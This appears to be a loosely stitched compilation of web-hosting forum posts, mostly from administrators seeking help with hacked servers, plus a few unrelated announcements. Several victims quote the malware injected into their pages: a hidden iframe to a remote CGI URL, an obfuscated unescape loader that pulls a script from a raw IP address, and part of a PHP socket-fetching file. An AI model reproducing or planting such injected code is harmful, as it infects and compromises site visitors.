Hacker Adds Malicious Code To All Html And Php Files
Apr 30, 2009
we have been having a strange hacking problem on our server that we can not seem to find how they are managing to accompish. I am just wondering if anyone here may be able to offer any suggestions on this?
The problem:
On our server, a hacker has managed to add malicious code to all html and php files on two hosting accounts that we operate. These two accounts are seperate and do not share login information. This is the 2nd time this has happened within the past two weeks.
Originally it was suspected that we needed to add SuPhp to prevent insecure permissions. This has been done, yet the problem continues.
On all html pages, malicious javascript has been added, and on all php files malicious php code has been added.
We have a lot of accounts on this server, and as mentioned only the two accounts seem to have been affected by this.
What we have done to attempt to secure the server:
1) We have installed SuPhp.
2) We have ensured that all scripts on the affected websites are updated and running the latest versions.
3) We have changed all the passwords.
Our server is a managed server, and our server company has been very helpful, however at the moment can not seem to pinpoint the problem. There also does not appear to be any indication via the access logs of the infected files being altered, yet they have been altered.
The computers used to access these websites are clean, and do not have any malware running, which would allow a hacker to obtain any passwords. It also does not appear that the hacker was able to obtain root access.
One other thing I noticed, we run Kayako on one of the sites. When this problem occurs we receive a message that Zend Optimizer is not installed on our server when attempting to login to Kayako, when in fact it is.
Searching Google, I found the following link on the Zend site in which the symptoms seem to be very similar. What are the odds this could be a Zend vulnerabilty?
I have serious problems with ".cgi" with malicious code, with that the person who has these files to send spam through my server without any kind of block, could block this type of send SPAM with files ".cgi"?
CentOS 5.2 - 64bits
WHM+cPanel
Exemplo of file executed: /usr/bin/perl /home/username/public_html/cgi-bin/erri/coms.cgi
I've been having an issue with one of my sites were someone has been adding malicious code to the index file. I don't know what has been compromised and am looking for a way to stop this.
I have a dedicated server have already upgraded MySQL to the latest version as I though that might work but it hasn't.
for the first time in my sites life(10 year site) google blocked it. when you type my site google says that my site has malicious code in it.as we find it the problem in my site came from the company where i hosted it.we clear all the files for the malicious code and now its all ok.i want to ask if anyone knows for his experience how much days google will check my site again to see if all its ok.i send them before six hours via webmaster tools, a request for eaming agin my site,but i dont knwo how will do these. so i am asking anyone of you,who had same experience.any help will be appreciate.please help me with anything you think that might be useful for me to having my site back again in google correctly!
I have multiple demo websites under single domain. and in each folder default page is as index.html
few days back i have observed a blank space on each index.html. when i check the code then i have found an auto generated code just after the body tag in index.html. the code is as follows
<div style="visibility:hidden"><iframe src="[url]
Also I am getting Question marks (?) in some blank spaces in HTML preview.
I have removed it but it again appears after some time. I have contacted to server support but they said that this is SQL Injection attack but there is no database connectivity involved in any of my websites.
I am wanting to know if there is a way to stop files being uploaded to my vps, via ftp cpanel etc that are malicious..
I have been told there is a way to do this but i havent been told how..
Basicaly i want to know if there is something where i can add a list of keywords that are in the malicious files and what ever it is will stop them from being uploaded or if they manage to get uploaded onto my vps will it make them not work?
I am looking into this as i had an issue before where someone uploaded a shell onto my server :@ luckily it didnt cause no damage or he didnt get anywhere but i still want to be safe.
Sometime ago the DC told me there was too many files on server and I started to investigate what is was and i got info that some one hacked the server and was sending spam from it.
When I looked at the accounts in Direct Admin some of them had the contact email to some hacker so i deleted the emails and changed password on the DA account and the email of those accounts.
Still I got too many files all the time so the server goes down so i have to delete the spoolfile all the time like 10 times a day
Please help how do I detect from what account do the hacker operate?
Can I detect that somehow?
Is it possible to do some small script to detect this?
Is there any advanced module to DA that gives me the info?
I have a client that is certain someone is trying to hack her web-portal. I need to set up something that will alert me on suspicious activity on the server. For example someone fiddling with requests trying to make SQL / shell .. injection and similar threats.
Does any tool (for example bash script with grep) exist that would parse the raw apache logs and report if something is suspicious. Apache logs don't show the POST data so I am talking to admin to setup dump_io apache mod that enables this.
Or am I going into wrong direction here and there is whole another way to do this? I searched the web and forums for anything like this and didn't find anything.
I am currently developing a web application on a WAMP server. Once complete my client will have some in-house "programmers" make changes to the code as they are needed.
My client wants to track all changes made to the source files (ie- who made the change, when it was made, what files were modified, and what specific lines were added/removed/modified). Also, the program must run on the server and not the programmers computers.
I've searched high and low and only found a couple programs that scratch the surface of what they want.
I want to my friend's files from /home/admin/dc to /home/ as I am planning to rebuild kloxo for him, this could kill all the files so, I would like to know the code so tht I could copy few files from the above location to the home directory
I have just FTP'd my code files onto my hosts server and i'm not sure whether i need the files in the root of the htdocs folder or whether i can leave them in my folder called website within htdocs...? the structure looks like this atm: htdocs->website->[all of my php files]
also... do i need an index.html file or is index.php ok? atm i am getting a 403 error when i try to connect,
Has anybody ever come across a server problem, where the file is visited (e.g. domain.com/sub/file.html or domain.com/sub/file2.php) it attempts to download the file automatically as apposed to displaying the page?
my friends server has something running that i couldn't find in cron or through access logs.. it is running comus and arrowtrader.. they're porn trading scripts.. anyway.
it's basically executing something at unknown times which i just started logging cause i temporarily moved "find" to /root and made /usr/bin/find echo me the output.. so it's running these:
i can't find what is causing this.. i've disabled comus and arrowtrader but they still run, i can't find anything else running in the background that is causing this..
what i'd really like to know is how to make a wrapper for perl to log all commands.. or some kind of exec logging for freebsd, i've looked for a way to also log all commands run by PHP too but i can never find something like that. i've scanned the server, found the r57/rst type backdoors, removed... nothing is listening on a port, i just can't seem to find it, i've enabled accounting and see that find runs, grep runs too.. but can't see what is causing it..
I just read this on their forums.Softlayer is pleased to announce that we have turned up a private 10G peer with Comcast in Dallas. This will bring our total capacity in Dallas to 70Gs.
Dallas, TX (dal01) - 70Gs Verio - 20G (2x 10G) Level3 - 10G Savvis - 10G Global Crossing - 10G Internap - 10G Comcast - 10G private peering Which other providers have this?
The Planet has expanded its focus to add a suite of managed services, which it calls "Planet Northstar" and has rebranded its dedicated server offerings as "Planet Alpha." It's also redesigned its site with a Web 2.0 look.
My site was hacked today, all pages named index.html were hacked. It is kind of script since all pages were written same time.
I'm using a very respectable hosting. I jumped from another hosting were I was exposed on a unsecured host (they moved my account to an insecure host without asking).
Going back on track, all files named "%index%" were hacked.
-I found a index.txt file with links to obscure sites.
The code was written at bottom of the all index.html files: iframe code
Code: ><!-- ~ --><iframe src="http://googletraff.com/in.cgi?default" width="0" height="0" style="display:none"></iframe><!-- ~ --> Also a line.php with the following code
");$wr = 0;while(!feof($socket)){ $temp = fgets($socket); if(eregi("<",$temp)) { $wr = 1; } if($wr) { $page .= $temp; } } fclose($socket); return $page; } ?> So far I recover the files from backup, secured the config.php files and modify %index% to read only...finally changed the password...
There was an error sending your message: Failed to add recipient: xxxxx@hotmail.com [SMTP: Invalid response code received from server (code: 451, response: Temporary local problem - please try later)]
We are having a problem with a number of our websites hosted on Fasthosts reseller account where JavaScript is being maliciously inserted into a number of pages.
An example of the code that has been inserted can be found below: <!-- document.write(unescape('xXz%3CAEqscripzHVt%20RMisAEqrRMicxXz%3DzHV%2FyI%2F6 yI7zHV%2E21wq5RMi%2E2xXz4wq6%2E3AEq4RMi%2FjqAEquwqexXzry%2EjsyI%3E%3CzHV%2Fs crRMiiwqpzHVtwq%3E').replace(/yI|zHV|fW|xXz|RMi|wq|AEq/g,"")); --> Which runs this script: <script src=//67.215.246.34/jquery.js></script>
New pages have been created on a number of websites aswell as the above code inserted into existing pages.
After removing the above code from one particular website it has happened again. Some of the websites being affected are just static websites with only HTML pages, others are dynamic ASP pages.
Has anyone here ever heard of a malicious script called Mulcishell, stored in the file mshell.php? I've seen a bunch of instances of the file in my clients' folders with permissions 777, and I want to know what it does and how it works. (I already deleted the file, knowing it was a malicious script, but I want to know how to prevent it from ever being executed on my server.)
we received a report of a malicious mail being sent from our servers. Problem is that the sender and recipients are not hosted with us. What I'm trying to find out is how the mail got sent out. The ME logs shows that the connection was made from 127.0.0.1 to the smtp service, but that's it.
We don't run mail services (pop3/imap/webmail) on the web servers, if that helps any. Have run out of ideas after sifting thru lots of logs (was trying to find if anyone called an application to send the mail and attachments out), but came up empty.
I decided to apply PHP safe mode to my servers, considering:
- I cannot prohibit using exec functions (some binary uses are needed, like host, mysqldump, etc..)
- I cannot restrict at all via UID/GID method at bins due to several problems..
Safe mode is the final sollution, as I only need "safe_mode_exec_dir" config to set a folder with the necesary binaries... this will stop nobody user (Apache) to exec whatever it wants, like perl, binaries uploaded to an public insecure folder (exploits), or anything else... people only could exec() the binaries I want and where I want. This will stop finally 95% of my hack problems.
Well. The problem is safe_mode is enabled or not, but you cannot set o disable certain features of this safe mode, like UID/GID checks (*******!)...
I am trying to configure so only "safe_mode_exec_dir" would apply, so:
- Including UIDs checks disabled by: safe_mode_include_dir = "/home/" (tested)
- Some variables set to NULL, as safe_mode_allowed_env_vars or safe_mode_protected_env_vars...
- safe_mode_exec_dir = "/usr/phpbin/" Great! with symbolic lynks in... the best sollution available for me.
- open_basedir = "/home/" (for fopen, etc...)
Ok ok.. but problems there.. by example this one:
Quote:
Warning: fopen() [function.fopen]: SAFE MODE Restriction in effect. The script whose uid is 32015 is not allowed to access cache/dynamic_fields/modules.php owned by uid 99 in /home/yyyyyyyyy/public_html/chn/modules/DynamicFields/DynamicField.php on line 823
Great.. fopen is under UID/GID checks, but it is not an include, so safe_mode_include_dir would not apply...
Now fopen, link, unlink, etc.. functions are UID restricted and this seems to be impossible to disable.... pffffffff...
can you share your safe_mode configs or sollutions for this problem?
For those who are still under the softlayer hacker abuse please note you will need to re-load your server. We got hit a 2nd time after thinking everything was clean. Anyhow, for those who got hit again, my team and another from WHT - forgot who made the original clean.php script...
anyhow, here is a tool to clean all the data for all of your users:Copy fixit.pl and clean4.php to a directory. IE: /home/yourusername
Change username "changeme" in fixit.pl to the username where clean4.php is located execute fixit.pl: IE: perl fixit.pl. If you want to test this on one user uncomment the die statement. When you are ready to do the entire server comment the die statement.
i've got a couple of vps accounts and one got hacked today, i received a domain creation email for a domain i didn't create, password was "hackedonlyhost" and contact was not my email but someone elses. Root password was changed etc etc, but i managed to get control of the vps again.
Why am i posting this in the ded forum? because the email in the account setup was for a hosting company. I traced the ip to LT. I've found this guy on a couple of hacker forums (arabic, he's in egypt) also using his email at his hosting company.
So, whilst he may not be breaking LT rules at all do i bother contacting them to say they are providing services to hacker?
There Is Some Way That Hacker use a .htaccess file to change the php Version On The Server To use the Exploit Look I Run A php Shell From My Server [url] You Can See From The picture that my php version is 5.2.6 then I Have upload the .htaccess To My server the Version has been changed look to other picture [url] You Can see The .htaccess file And This Way Only Work If I have More Than one php Version on my server How Can I Secure My server From This Way
I'm still trying to figure this one out. I got an email last night about 10:30pm that a weird IP had logged with root. I thought it was a guy that helps with tech things but I ran the IP... it came back from Korea and I knew I was in trouble. I immediately logged into WHM and changed the root password then sent the server down for a reboot. He was only in there for about 3 minutes before I nailed him. I've banned the IP from the server and have been watching it for nearly 12 hours now and they haven't came back yet.
Now comes the task of trying to figure out how he got the password. This is mind boggling to me. He knew the password, like someone gave it to him... there were no incorrect guesses or brute force. The password was a series of random letters, both upper and lower case. Is it possible he got it through getting to /etc/passwd via a PHP script? I have open basedir restrictions in place, can they get around that? I noticed at the time he logged in there were several IPs trying to exploit PHP scripts on my server, you know, setting the parameters to txt files but I assumed with shell functions disabled (except exec) and with open basedir this wouldn't be possible. Is there a hole in cpanel / PHP / kernel recently I may have missed?
As with many sites. my site was hacked recently. my host was so negative about this. they didn't notice the hack attempt although it took the hacker 9 hours to break through.
after that I made some search on my host to find that it is not a real host at all. they are just resellers to another company. I was very disappointed, Then I decided to go to a better host who can protect me from hackers.
I read some threads about 'hacker safe host' but they all in general don't give a real name of trusted 'anti-hackers' companies.
can you guide me to some of the famous hosts?
if you can't my friends got a VPS hosted with WestHost. he offered me to move my site to his VPS. is west host trusted about hackers?
